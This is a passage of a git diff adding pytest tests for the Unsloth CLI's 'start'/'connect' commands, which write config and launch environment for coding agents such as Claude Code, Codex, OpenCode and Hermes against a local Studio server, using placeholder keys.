-    assert config["agents"]["defaults"]["temperature"] == 0.5  # other agent defaults kept
-    assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}"
-    assert config["models"]["mode"] == "replace"  # user's mode is left as-is
-    assert config["models"]["providers"]["openrouter"]["baseUrl"] == "x"
-    assert config["models"]["providers"]["unsloth"]["baseUrl"] == f"{BASE}/v1"
-    before = path.read_text()
-    connect.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL)
-    assert path.read_text() == before
-
-
-def test_write_openclaw_config_corrupt_left_alone(tmp_path, monkeypatch, capsys):
-    path = tmp_path / "openclaw.json"
-    monkeypatch.setattr(connect, "openclaw_config_path", lambda: path)
-    path.write_text("{not json")
-    connect.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL)
-    assert path.read_text() == "{not json"
-    assert "couldn't parse" in capsys.readouterr().err
-
-
-def test_connect_openclaw_no_launch(fake_studio, tmp_path, monkeypatch):
-    path = tmp_path / "openclaw.json"
-    monkeypatch.setattr(connect, "openclaw_config_path", lambda: path)
-    result = CliRunner().invoke(connect.connect_app, ["openclaw", "--no-launch"])
-    assert result.exit_code == 0, result.output
-    assert "openclaw" in result.output
-    assert "export" not in result.output  # key lives in the config, not the env
-    config = json.loads(path.read_text())
-    assert config["models"]["providers"]["unsloth"]["apiKey"] == "sk-unsloth-feedfacefeedface"
-    assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}"
-    # OpenAI /v1/chat/completions works on either backend — no GGUF gate.
-    assert not any(c[1].endswith("/api/inference/status") for c in fake_studio)
-
-
-# ── OpenCode (OpenAI /v1/chat/completions) ───────────────────────────
-
-
-def test_write_opencode_config_fresh(tmp_path, monkeypatch):
-    path = tmp_path / "opencode.json"
-    monkeypatch.setattr(connect, "opencode_config_path", lambda: path)
-    connect.write_opencode_config(BASE, "sk-unsloth-abc", MODEL)
-    config = json.loads(path.read_text())
-    provider = config["provider"]["unsloth"]
-    assert provider["npm"] == "@ai-sdk/openai-compatible"
-    assert provider["options"] == {"baseURL": f"{BASE}/v1", "apiKey": "sk-unsloth-abc"}
-    assert provider["models"] == {MODEL["id"]: {"name": MODEL["id"]}}
-    assert config["model"] == f"unsloth/{MODEL['id']}"
-
-
-def test_write_opencode_config_preserves_and_idempotent(tmp_path, monkeypatch):
-    path = tmp_path / "opencode.json"
-    monkeypatch.setattr(connect, "opencode_config_path", lambda: path)
-    path.write_text(
-        json.dumps({"theme": "tokyonight", "provider": {"anthropic": {"name": "Anthropic"}}})
-    )
-    connect.write_opencode_config(BASE, "sk-unsloth-abc", MODEL)
-    config = json.loads(path.read_text())
-    assert config["theme"] == "tokyonight"
-    assert config["provider"]["anthropic"]["name"] == "Anthropic"
-    assert config["provider"]["unsloth"]["options"]["baseURL"] == f"{BASE}/v1"
-    before = path.read_text()
-    connect.write_opencode_config(BASE, "sk-unsloth-abc", MODEL)
-    assert path.read_text() == before
-
-
-def test_connect_opencode_no_launch(fake_studio, tmp_path, monkeypatch):
-    path = tmp_path / "opencode.json"
-    monkeypatch.setattr(connect, "opencode_config_path", lambda: path)
-    result = CliRunner().invoke(connect.connect_app, ["opencode", "--no-launch"])
-    assert result.exit_code == 0, result.output
-    assert "opencode" in result.output
-    config = json.loads(path.read_text())
-    assert config["provider"]["unsloth"]["options"]["apiKey"] == "sk-unsloth-feedfacefeedface"
-    assert config["model"] == f"unsloth/{MODEL['id']}"
-    assert not any(c[1].endswith("/api/inference/status") for c in fake_studio)
-
-
-# ── Hermes (OpenAI /v1/chat/completions, key via env) ────────────────
-
-
-@pytest.fixture()
-def hermes_config(tmp_path, monkeypatch):
-    path = tmp_path / "config.yaml"
-    monkeypatch.setattr(connect, "hermes_config_path", lambda: path)
-    return path
-
-
-def test_write_hermes_config_fresh(hermes_config):
-    yaml = pytest.importorskip("yaml")
-    connect.write_hermes_config(BASE, MODEL)
-    config = yaml.safe_load(hermes_config.read_text())
-    # Hermes only honors the key for a *named* custom provider, so the endpoint
-    # is registered under providers.* and model.provider points at it.
-    assert config["model"]["provider"] == "custom:unsloth"
-    assert config["model"]["default"] == MODEL["id"]
-    assert config["model"]["api_mode"] == "openai"
-    provider = config["providers"]["unsloth"]
-    assert provider["base_url"] == f"{BASE}/v1"
-    assert provider["api_mode"] == "openai"
-    assert provider["key_env"] == "UNSLOTH_API_KEY"
-    # The key is resolved from the launch env, never written to disk.
-    assert "sk-unsloth" not in hermes_config.read_text()
-
-
-def test_write_hermes_config_preserves_and_idempotent(hermes_config):
-    yaml = pytest.importorskip("yaml")
-    hermes_config.write_text(
-        yaml.safe_dump(
-            {
-                "terminal": {"backend": "local"},
-                "model": {"temperature": 0.7},
-                "providers": {"openrouter": {"base_url": "https://openrouter.ai/api/v1"}},
-            }
-        )
-    )
-    connect.write_hermes_config(BASE, MODEL)
-    config = yaml.safe_load(hermes_config.read_text())
-    assert config["terminal"] == {"backend": "local"}  # unrelated sections kept
-    assert config["model"]["temperature"] == 0.7  # unrelated model keys kept
-    assert config["model"]["provider"] == "custom:unsloth"
-    assert config["providers"]["openrouter"]["base_url"] == "https://openrouter.ai/api/v1"
-    assert config["providers"]["unsloth"]["base_url"] == f"{BASE}/v1"
-    before = hermes_config.read_text()
-    connect.write_hermes_config(BASE, MODEL)
-    assert hermes_config.read_text() == before
-
-
-def test_write_hermes_config_preserves_non_mapping_file(hermes_config, capsys):
-    pytest.importorskip("yaml")
-    original = "- just\n- a\n- list\n"  # valid YAML, but not a mapping
-    hermes_config.write_text(original)
-    connect.write_hermes_config(BASE, MODEL)
-    assert hermes_config.read_text() == original  # user-managed file left untouched
-    assert "couldn't parse" in capsys.readouterr().err
-
-
-def test_connect_hermes_no_launch(fake_studio, hermes_config):
-    yaml = pytest.importorskip("yaml")
-    result = CliRunner().invoke(connect.connect_app, ["hermes", "--no-launch"])
-    assert result.exit_code == 0, result.output
-    _assert_env_set(result.output, "UNSLOTH_API_KEY", "sk-unsloth-feedfacefeedface")
-    assert "hermes" in result.output
-    config = yaml.safe_load(hermes_config.read_text())
-    assert config["model"]["provider"] == "custom:unsloth"
-    assert config["providers"]["unsloth"]["base_url"] == f"{BASE}/v1"
-    assert config["model"]["default"] == MODEL["id"]
-    assert not any(c[1].endswith("/api/inference/status") for c in fake_studio)
diff --git a/unsloth_cli/tests/test_start.py b/unsloth_cli/tests/test_start.py
new file mode 100644
index 0000000000..a6a092a17c
--- /dev/null
+++ b/unsloth_cli/tests/test_start.py
@@ -0,0 +1,1848 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for `unsloth start` — config merging and launch env, no network."""
+
+from __future__ import annotations
+
+import json
+import os
+import shlex
+import sys
+import urllib.error
+from pathlib import Path
+from types import SimpleNamespace
+
+_REPO_ROOT = Path(__file__).resolve().parents[2]
+if str(_REPO_ROOT) not in sys.path:
+    sys.path.insert(0, str(_REPO_ROOT))
+
+
+import pytest
+from typer.testing import CliRunner
+
+import unsloth_cli.commands.start as start
+
+BASE = "http://127.0.0.1:8888"
+MODEL = {"id": "unsloth/gemma-4-26B-A4B-it-GGUF", "context_length": 131072}
+
+
+# --no-launch prints shell setup as POSIX (export/unset) on Unix/WSL and
+# PowerShell ($env:/Remove-Item) on native Windows; assert the host's form.
+def _assert_env_set(output: str, name: str, value: str) -> None:
+    needle = f'$env:{name} = "{value}"' if os.name == "nt" else f"export {name}={value}"
+    assert needle in output, f"{needle!r} not found in:\n{output}"
+
+
+def _assert_env_unset(output: str, name: str) -> None:
+    needle = f"Remove-Item Env:{name}" if os.name == "nt" else f"unset {name}"
+    assert needle in output, f"{needle!r} not found in:\n{output}"
+
+
+def _launch_command(output: str) -> list:
+    # The --no-launch recipe ends with a self-contained one-liner: inline NAME=value
+    # assignments, then the command. Return just the command argv.
+    last = [ln for ln in output.splitlines() if ln.strip()][-1]
+    parts = shlex.split(last)
+    for i, part in enumerate(parts):
+        name = part.partition("=")[0]
+        if "=" not in part or not name.replace("_", "").isalnum():
+            return parts[i:]
+    return []
+
+
+def _fake_claude(monkeypatch, version_output: str) -> None:
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude")
+    monkeypatch.setattr(
+        start.subprocess,
+        "run",
+        lambda *args, **kwargs: SimpleNamespace(stdout = version_output),
+    )
+
+
+def test_claude_flags_passed_to_supported_claude(monkeypatch):
+    _fake_claude(monkeypatch, "2.1.98 (Claude Code)\n")
+    assert start._claude_flags() == [
+        "--exclude-dynamic-system-prompt-sections",
+        "--settings",
+        start._CLAUDE_SETTINGS_OVERLAY,
+    ]
+
+
+def test_claude_flags_skipped_on_old_claude(monkeypatch):
+    _fake_claude(monkeypatch, "2.0.14 (Claude Code)\n")
+    assert start._claude_flags() == []
+
+
+def test_claude_flags_skipped_on_unparseable_version(monkeypatch):
+    _fake_claude(monkeypatch, "weird build string\n")
+    assert start._claude_flags() == []
+
+
+def test_claude_flags_detected_when_version_not_first_token(monkeypatch):
+    # The X.Y.Z is pulled from anywhere in the output, so a format change (version not
+    # the first token) doesn't silently drop the optimization flags.
+    _fake_claude(monkeypatch, "claude version 2.1.98\n")
+    assert start._claude_flags() == [
+        "--exclude-dynamic-system-prompt-sections",
+        "--settings",
+        start._CLAUDE_SETTINGS_OVERLAY,
+    ]
+
+
+def test_install_agent_prompts_then_installs(monkeypatch):
+    # TTY + yes: run the documented install command, then re-resolve the now-present binary.
+    monkeypatch.setattr(start.sys, "stdin", SimpleNamespace(isatty = lambda: True))
+    monkeypatch.setattr(start.typer, "confirm", lambda *a, **k: True)
+    ran = []
+    monkeypatch.setattr(
+        start.subprocess,
+        "run",
+        lambda command, *a, **k: ran.append(command) or SimpleNamespace(returncode = 0),
+    )
+    # _install_agent only re-resolves after installing (the pre-install check is the
+    # caller's job), so `which` reports the now-present binary.
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/codex")
+    executable = start._install_agent("codex", "npm install -g @openai/codex")
+    assert executable == "/usr/local/bin/codex"
+    assert ran == [["/bin/sh", "-c", "npm install -g @openai/codex"]]
+
+
+def test_install_agent_declined_returns_none(monkeypatch):
+    # TTY + no: never runs anything; caller falls back to the print-hint failure.
+    monkeypatch.setattr(start.sys, "stdin", SimpleNamespace(isatty = lambda: True))
+    monkeypatch.setattr(start.typer, "confirm", lambda *a, **k: False)
+    monkeypatch.setattr(start.shutil, "which", lambda _: None)
+    monkeypatch.setattr(
+        start.subprocess, "run", lambda *a, **k: pytest.fail("should not install when declined")
+    )
+    assert start._install_agent("codex", "npm install -g @openai/codex") is None
+
+
+def test_install_agent_non_interactive_returns_none(monkeypatch):
+    # No TTY (piped stdin): cannot prompt, so don't install; return None silently.
+    monkeypatch.setattr(start.sys, "stdin", SimpleNamespace(isatty = lambda: False))
+    monkeypatch.setattr(
+        start.subprocess, "run", lambda *a, **k: pytest.fail("should not install without a TTY")
+    )
+    assert start._install_agent("codex", "npm install -g @openai/codex") is None
+
+
+def _parse_toml(text: str) -> dict:
+    tomllib = pytest.importorskip("tomllib")
+    return tomllib.loads(text)
+
+
+def test_merge_codex_config_fresh():
+    merged = start._merge_codex_config("", BASE)
+    parsed = _parse_toml(merged)
+    assert parsed["oss_provider"] == "unsloth_api"
+    provider = parsed["model_providers"]["unsloth_api"]
+    assert provider["base_url"] == f"{BASE}/v1"
+    assert provider["wire_api"] == "responses"
+    assert provider["requires_openai_auth"] is False
+
+
+def test_merge_codex_config_replaces_stale_block():
+    existing = (
+        'model = "gpt-5"\n'
+        "\n"
+        "[model_providers.unsloth_api]\n"
+        'base_url = "http://old-host:9999/v1"\n'
+        'wire_api = "chat"\n'
+        "\n"
+        "[model_providers.unsloth_api.http_headers]\n"
+        'x-old = "1"\n'
+        "\n"
+        "[model_providers.ollama]\n"
+        'base_url = "http://localhost:11434/v1"\n'
+    )
+    merged = start._merge_codex_config(existing, BASE)
+    parsed = _parse_toml(merged)
+    assert parsed["model"] == "gpt-5"
+    assert parsed["model_providers"]["unsloth_api"]["base_url"] == f"{BASE}/v1"
+    assert parsed["model_providers"]["unsloth_api"]["wire_api"] == "responses"
+    assert "http_headers" not in parsed["model_providers"]["unsloth_api"]
+    assert parsed["model_providers"]["ollama"]["base_url"] == "http://localhost:11434/v1"
+    assert start._merge_codex_config(merged, BASE) == merged
+
+
+def test_merge_codex_config_keeps_user_oss_provider():
+    merged = start._merge_codex_config('oss_provider = "ollama"\n', BASE)
+    assert _parse_toml(merged)["oss_provider"] == "ollama"
+
+
+def test_write_codex_config_profile(tmp_path):
+    start.write_codex_config(BASE, MODEL, tmp_path)
+    profile = _parse_toml((tmp_path / "unsloth_api.config.toml").read_text())
+    assert profile["oss_provider"] == "unsloth_api"
+    assert profile["model_provider"] == "unsloth_api"
+    assert profile["model"] == MODEL["id"]
+    assert profile["model_context_window"] == 131072
+    config = _parse_toml((tmp_path / "config.toml").read_text())
+    assert config["model_providers"]["unsloth_api"]["env_key"] == "UNSLOTH_STUDIO_AUTH_TOKEN"
+
+
+@pytest.fixture()
+def fake_studio(tmp_path, monkeypatch):
+    calls = []
+    state = {"models": [MODEL]}
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        calls.append((method, url, payload))
+        if url.endswith("/v1/models"):
+            return {"object": "list", "data": state["models"]}
+        if url.endswith("/api/inference/status"):
+            return {"is_gguf": True, "model_identifier": state["models"][0]["id"]}
+        if url.endswith("/api/auth/api-keys"):
+            return {"key": "sk-unsloth-feedfacefeedface"}
+        if url.endswith("/api/inference/load"):
+            state["models"] = [{"id": payload["model_path"], "context_length": 4096}]
+            return {}
+        raise AssertionError(f"unexpected request: {method} {url}")
+
+    monkeypatch.setattr(start, "find_studio_server", lambda: BASE)
+    # Identity handshake has its own tests; trust the loopback server here.
+    monkeypatch.setattr(start, "verify_studio_identity", lambda base: True)
+    # _studio_token / api-keys are faked so the mint flow stays offline.
+    monkeypatch.setattr(start, "_studio_token", lambda: "jwt-token")
+    monkeypatch.setattr(start, "_http_json", http_json)
+    monkeypatch.setattr(start, "_key_cache_path", lambda: tmp_path / "agent_api_key.json")
+    # --no-launch session configs land under tmp instead of the real Unsloth dir.
+    monkeypatch.setattr(start, "_agents_config_root", lambda: tmp_path / "agents")
+    # No `claude` on PATH, so _claude_flags never probes the real binary.
+    monkeypatch.setattr(start.shutil, "which", lambda _: None)
+    monkeypatch.delenv("UNSLOTH_API_KEY", raising = False)
+    return calls
+
+
+def test_connect_claude_no_launch(fake_studio):
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    _assert_env_unset(result.output, "ANTHROPIC_API_KEY")
+    _assert_env_unset(result.output, "CLAUDE_CODE_OAUTH_TOKEN")
+    _assert_env_set(result.output, "ANTHROPIC_BASE_URL", BASE)
+    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-feedfacefeedface")
+    _assert_env_set(result.output, "ANTHROPIC_MODEL", MODEL["id"])
+    _assert_env_set(result.output, "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC", "1")
+    _assert_env_set(result.output, "CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS", "1")
+    # Suppress the full-screen TUI redraw so a bursty local server doesn't flicker.
+    _assert_env_set(result.output, "CLAUDE_CODE_NO_FLICKER", "1")
+    # Attribution header is suppressed for the session via env + --settings, never
+    # by writing the user's ~/.claude/settings.json.
+    _assert_env_set(result.output, "CLAUDE_CODE_ATTRIBUTION_HEADER", "0")
+    # Auto-compact window is sized to the loaded model's real context length so the
+    # session compacts before it overflows the local server's (much smaller) window,
+    # and compaction is forced at 90% of it for headroom.
+    _assert_env_set(result.output, "CLAUDE_CODE_AUTO_COMPACT_WINDOW", str(MODEL["context_length"]))
+    _assert_env_set(result.output, "CLAUDE_AUTOCOMPACT_PCT_OVERRIDE", "90")
+    assert f"claude --model {MODEL['id']} --exclude-dynamic-system-prompt-sections" in result.output
+    # Overlay is passed inline (session-only), not a path into the user's ~/.claude.
+    assert "--settings" in result.output
+    assert ".claude/settings.json" not in result.output
+
+
+def test_connect_claude_compact_window_omitted_without_context(fake_studio, monkeypatch):
+    # A model that doesn't report a context length -> leave Claude's default window
+    # rather than guessing one.
+    monkeypatch.setattr(start, "_resolve_model", lambda *a, **k: {"id": "local-model"})
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    assert "CLAUDE_CODE_AUTO_COMPACT_WINDOW" not in result.output
+    assert "CLAUDE_AUTOCOMPACT_PCT_OVERRIDE" not in result.output
+
+
+def test_connect_claude_launch_scrubs_conflicting_auth_env(fake_studio, monkeypatch):
+    captured = {}
+    monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-anthropic-stale")
+    monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "oauth-stale")
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude")
+    monkeypatch.setattr(start, "_claude_flags", lambda: [])
+
+    def run(command, env):
+        captured["command"] = command
+        captured["env"] = env
+        return SimpleNamespace(returncode = 0)
+
+    monkeypatch.setattr(start.subprocess, "run", run)
+    result = CliRunner().invoke(start.start_app, ["claude"])
+
+    assert result.exit_code == 0, result.output
+    assert captured["command"] == ["/usr/local/bin/claude", "--model", MODEL["id"]]
+    assert "ANTHROPIC_API_KEY" not in captured["env"]
+    assert "CLAUDE_CODE_OAUTH_TOKEN" not in captured["env"]
+    assert captured["env"]["ANTHROPIC_AUTH_TOKEN"] == "sk-unsloth-feedfacefeedface"
+    assert captured["env"]["ANTHROPIC_BASE_URL"] == BASE
+    assert captured["env"]["ANTHROPIC_MODEL"] == MODEL["id"]
+    assert captured["env"]["CLAUDE_CODE_ATTRIBUTION_HEADER"] == "0"
+
+
+@pytest.mark.skipif(
+    os.name == "nt",
+    reason = "WSL-from-Linux scenario (calling a Windows agent .exe from inside WSL); "
+    "os.name is 'posix' under WSL, so this path can't run on a native Windows runner.",
+)
+def test_connect_claude_windows_shim_from_wsl_bridges_env(fake_studio, monkeypatch):
+    captured = {}
+    monkeypatch.setenv("WSL_DISTRO_NAME", "Ubuntu")
+    monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-anthropic-stale")
+    monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "oauth-stale")
+    monkeypatch.setattr(
+        start.shutil, "which", lambda _: "/mnt/c/Users/samle/AppData/Roaming/npm/claude"
+    )
+    monkeypatch.setattr(start, "_claude_flags", lambda: [])
+
+    def run(command, env):
+        captured["command"] = command
+        captured["env"] = env
+        return SimpleNamespace(returncode = 0)
+
+    monkeypatch.setattr(start.subprocess, "run", run)
+    result = CliRunner().invoke(start.start_app, ["claude"])
+
+    assert result.exit_code == 0, result.output
+    assert captured["command"] == [
+        "/mnt/c/Users/samle/AppData/Roaming/npm/claude",
+        "--model",
+        MODEL["id"],
+    ]
+    assert captured["env"]["ANTHROPIC_API_KEY"] == ""
+    assert captured["env"]["CLAUDE_CODE_OAUTH_TOKEN"] == ""
+    assert captured["env"]["ANTHROPIC_AUTH_TOKEN"] == "sk-unsloth-feedfacefeedface"
+    assert captured["env"]["ANTHROPIC_BASE_URL"] == BASE
+    assert captured["env"]["ANTHROPIC_MODEL"] == MODEL["id"]
+    for name in (
+        "ANTHROPIC_AUTH_TOKEN",
+        "ANTHROPIC_BASE_URL",
+        "ANTHROPIC_MODEL",
+        "ANTHROPIC_API_KEY",
+        "CLAUDE_CODE_OAUTH_TOKEN",
+    ):
+        assert name in captured["env"]["WSLENV"].split(":")
+
+
+@pytest.mark.skipif(
+    os.name == "nt",
+    reason = "WSL-from-Linux scenario (calling a Windows agent .exe from inside WSL); "
+    "os.name is 'posix' under WSL, so this path can't run on a native Windows runner.",
+)
+def test_connect_claude_no_launch_windows_shim_from_wsl_prints_wslenv(fake_studio, monkeypatch):
+    monkeypatch.setenv("WSL_DISTRO_NAME", "Ubuntu")
+    monkeypatch.setattr(
+        start.shutil, "which", lambda _: "/mnt/c/Users/samle/AppData/Roaming/npm/claude"
+    )
+
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+
+    assert result.exit_code == 0, result.output
+    assert "export ANTHROPIC_API_KEY=" in result.output
+    assert "export CLAUDE_CODE_OAUTH_TOKEN=" in result.output
+    assert "export WSLENV=" in result.output
+    assert "ANTHROPIC_AUTH_TOKEN" in result.output
+    assert "CLAUDE_CODE_OAUTH_TOKEN" in result.output
+
+
+def test_connect_codex_no_launch(fake_studio, tmp_path):
+    result = CliRunner().invoke(start.start_app, ["codex", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    _assert_env_set(result.output, "UNSLOTH_STUDIO_AUTH_TOKEN", "sk-unsloth-feedfacefeedface")
+    assert "codex --oss --profile unsloth_api" in result.output
+    # Config lands in the session-scoped CODEX_HOME, not the user's ~/.codex.
+    home = tmp_path / "agents" / "codex"
+    _assert_env_set(result.output, "CODEX_HOME", str(home))
+    assert (home / "config.toml").exists()
+    assert (home / "unsloth_api.config.toml").exists()
+
+
+def test_connect_codex_launch_uses_ephemeral_home(fake_studio, monkeypatch):
+    # Launch mode writes config to a throwaway temp CODEX_HOME and removes it after
+    # the agent exits; the user's real ~/.codex is never the target.
+    captured = {}
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/codex")
+
+    def run(command, env):
+        captured["home"] = env["CODEX_HOME"]
+        captured["config_present"] = (Path(env["CODEX_HOME"]) / "config.toml").exists()
+        return SimpleNamespace(returncode = 0)
+
+    monkeypatch.setattr(start.subprocess, "run", run)
+    result = CliRunner().invoke(start.start_app, ["codex"])
+    assert result.exit_code == 0, result.output
+    home = Path(captured["home"])
+    assert captured["config_present"]  # config existed while codex ran
+    assert "unsloth-codex-" in home.name  # an ephemeral temp dir, not ~/.codex
+    assert not home.exists()  # cleaned up after the agent exits
+
+
+@pytest.mark.skipif(
+    os.name == "nt",
+    reason = "the #6547 CI parser is bash-only; on Windows --no-launch prints PowerShell",
+)
+def test_no_launch_output_is_parseable(fake_studio):
+    # Mirror the #6547 CI parser: status lines, then `export`/`unset`, then exactly
+    # one launch command on the last line (now an inline-env one-liner, so the parser
+    # matches by substring rather than prefix).
+    result = CliRunner().invoke(start.start_app, ["codex", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    lines = [ln for ln in result.output.splitlines() if ln.strip()]
+    skip = ("export ", "unset ", "Studio ", "Updated ", "Disabled ", "Warning", "Loading")
+    body = [ln for ln in lines if not ln.startswith(skip)]
+    assert "codex --oss --profile unsloth_api" in body[-1]
+    assert any(ln.startswith("export CODEX_HOME=") for ln in lines)
+
+
+def test_no_launch_last_line_is_self_contained(fake_studio, tmp_path):
+    # People copy just the last line. A bare `codex` there would run against the user's
+    # real ~/.codex (e.g. a pre-existing damaged state DB) with zero isolation, so the
+    # last line must inline every session env var ahead of the command.
+    result = CliRunner().invoke(start.start_app, ["codex", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    last = [ln for ln in result.output.splitlines() if ln.strip()][-1]
+    parts = shlex.split(last)
+    assignments = {}
+    command = []
+    for i, part in enumerate(parts):
+        if "=" not in part:
+            command = parts[i:]
+            break
+        name, _, value = part.partition("=")
+        assignments[name] = value
+    assert command and command[0] == "codex"
+    assert assignments["CODEX_HOME"] == str(tmp_path / "agents" / "codex")
+    assert assignments["UNSLOTH_STUDIO_AUTH_TOKEN"].startswith("sk-unsloth-")
+
+
+def test_no_launch_claude_last_line_blanks_conflicting_auth(fake_studio):
+    # The unset vars must be neutralized inline too, or a partial copy would send the
+    # user's own ANTHROPIC_API_KEY to the Studio base.
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    last = [ln for ln in result.output.splitlines() if ln.strip()][-1]
+    assert "ANTHROPIC_API_KEY= " in last
+    assert "CLAUDE_CODE_OAUTH_TOKEN= " in last
+    assert "ANTHROPIC_AUTH_TOKEN=" in last  # the real key still applied after the blanks
+
+
+def test_opencode_inline_config_beats_project_config(fake_studio):
+    # A project's opencode.json outranks OPENCODE_CONFIG, so the model pin (and --yolo
+    # permissions) ride in OPENCODE_CONFIG_CONTENT, which outranks project config.
+    result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch", "--yolo"])
+    assert result.exit_code == 0, result.output
+    content_line = next(
+        ln for ln in result.output.splitlines() if ln.startswith("export OPENCODE_CONFIG_CONTENT=")
+    )
+    inline = json.loads(
+        shlex.split(content_line.removeprefix("export OPENCODE_CONFIG_CONTENT="))[0]
+    )
+    assert inline["model"] == f"unsloth/{MODEL['id']}"
+    assert inline["permission"] == {"edit": "allow", "bash": "allow", "webfetch": "allow"}
+    assert "sk-unsloth" not in content_line  # key stays in the private file
+
+
+def test_opencode_inline_config_omits_permissions_without_yolo(fake_studio):
+    result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    content_line = next(
+        ln for ln in result.output.splitlines() if ln.startswith("export OPENCODE_CONFIG_CONTENT=")
+    )
+    inline = json.loads(
+        shlex.split(content_line.removeprefix("export OPENCODE_CONFIG_CONTENT="))[0]
+    )
+    assert inline == {"model": f"unsloth/{MODEL['id']}"}
+
+
+def test_https_loopback_never_auto_serves(fake_studio, monkeypatch):
+    # `unsloth run` serves plain HTTP; auto-serving behind an https:// target would poll
+    # the wrong scheme until the startup timeout. Keep the plain "no server" error.
+    monkeypatch.setenv("UNSLOTH_STUDIO_URL", "https://127.0.0.1:8443")
+    monkeypatch.setattr(start, "find_studio_server", lambda: None)
+    started = {"called": False}
+    monkeypatch.setattr(
+        start, "_start_studio_server", lambda *a, **k: started.__setitem__("called", True)
+    )
+    result = CliRunner().invoke(start.start_app, ["claude", "--model", "unsloth/Qwen3-1.7B-GGUF"])
+    assert result.exit_code == 1
+    assert "No running Studio server" in result.output
+    assert started["called"] is False
+
+
+def test_connect_alias_still_works(fake_studio):
+    # `unsloth connect` remains a compat alias for `unsloth start`.
+    from unsloth_cli import app
+
+    result = CliRunner().invoke(app, ["connect", "claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    _assert_env_set(result.output, "ANTHROPIC_MODEL", MODEL["id"])
+
+
+def test_connect_key_minted_once_then_cached(fake_studio, tmp_path):
+    CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    # First run mints; second reuses the minted key cached for this server.
+    mints = [c for c in fake_studio if c[1].endswith("/api/auth/api-keys")]
+    assert len(mints) == 1
+    cached = json.loads((tmp_path / "agent_api_key.json").read_text())
+    assert cached["servers"][BASE]["minted"] == ["sk-unsloth-feedfacefeedface"]
+
+
+def test_connect_explicit_key_remembered_for_keyless_runs(fake_studio, tmp_path):
+    CliRunner().invoke(
+        start.start_app,
+        ["claude", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"],
+    )
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    # Reused, not re-minted (a mint would return the feedface stand-in).
+    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef")
+    cached = json.loads((tmp_path / "agent_api_key.json").read_text())
+    # An explicit key is remembered as "saved" so it replays without the handshake.
+    assert cached["servers"][BASE]["saved"] == ["sk-unsloth-deadbeefdeadbeef"]
+
+
+def test_connect_skips_cached_keys_the_server_rejects(fake_studio, tmp_path, monkeypatch):
+    cache = tmp_path / "agent_api_key.json"
+    cache.write_text(
+        json.dumps(
+            {"servers": {BASE: {"minted": ["sk-unsloth-stale", "sk-unsloth-feedfacefeedface"]}}}
+        )
+    )
+    inner = start._http_json
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        if url.endswith("/v1/models") and token == "sk-unsloth-stale":
+            raise urllib.error.HTTPError(url, 401, "Unauthorized", None, None)
+        return inner(method, url, token, payload, timeout, error)
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-feedfacefeedface")
+    # The working key moves to the front so the next run tries it first.
+    cached = json.loads(cache.read_text())
+    assert cached["servers"][BASE]["minted"] == ["sk-unsloth-feedfacefeedface", "sk-unsloth-stale"]
+
+
+def test_connect_saved_key_server_outage_surfaces_not_reminted(fake_studio, tmp_path, monkeypatch):
+    # A 5xx/timeout while checking a saved key is a server outage, not a rejected key:
+    # surface it instead of discarding the key and minting a new one against a sick server.
+    cache = tmp_path / "agent_api_key.json"
+    cache.write_text(json.dumps({"servers": {BASE: {"saved": ["sk-unsloth-saved"]}}}))
+    inner = start._http_json
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        if url.endswith("/v1/models") and token == "sk-unsloth-saved":
+            raise urllib.error.HTTPError(url, 503, "Service Unavailable", None, None)
+        return inner(method, url, token, payload, timeout, error)
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code != 0, result.output
+    # The outage did not cause a fresh key to be minted.
+    mints = [c for c in fake_studio if c[1].endswith("/api/auth/api-keys")]
+    assert mints == []
+
+
+def test_connect_legacy_unscoped_cache_not_replayed(fake_studio, tmp_path):
+    # Legacy unscoped caches have no server binding (could leak across servers),
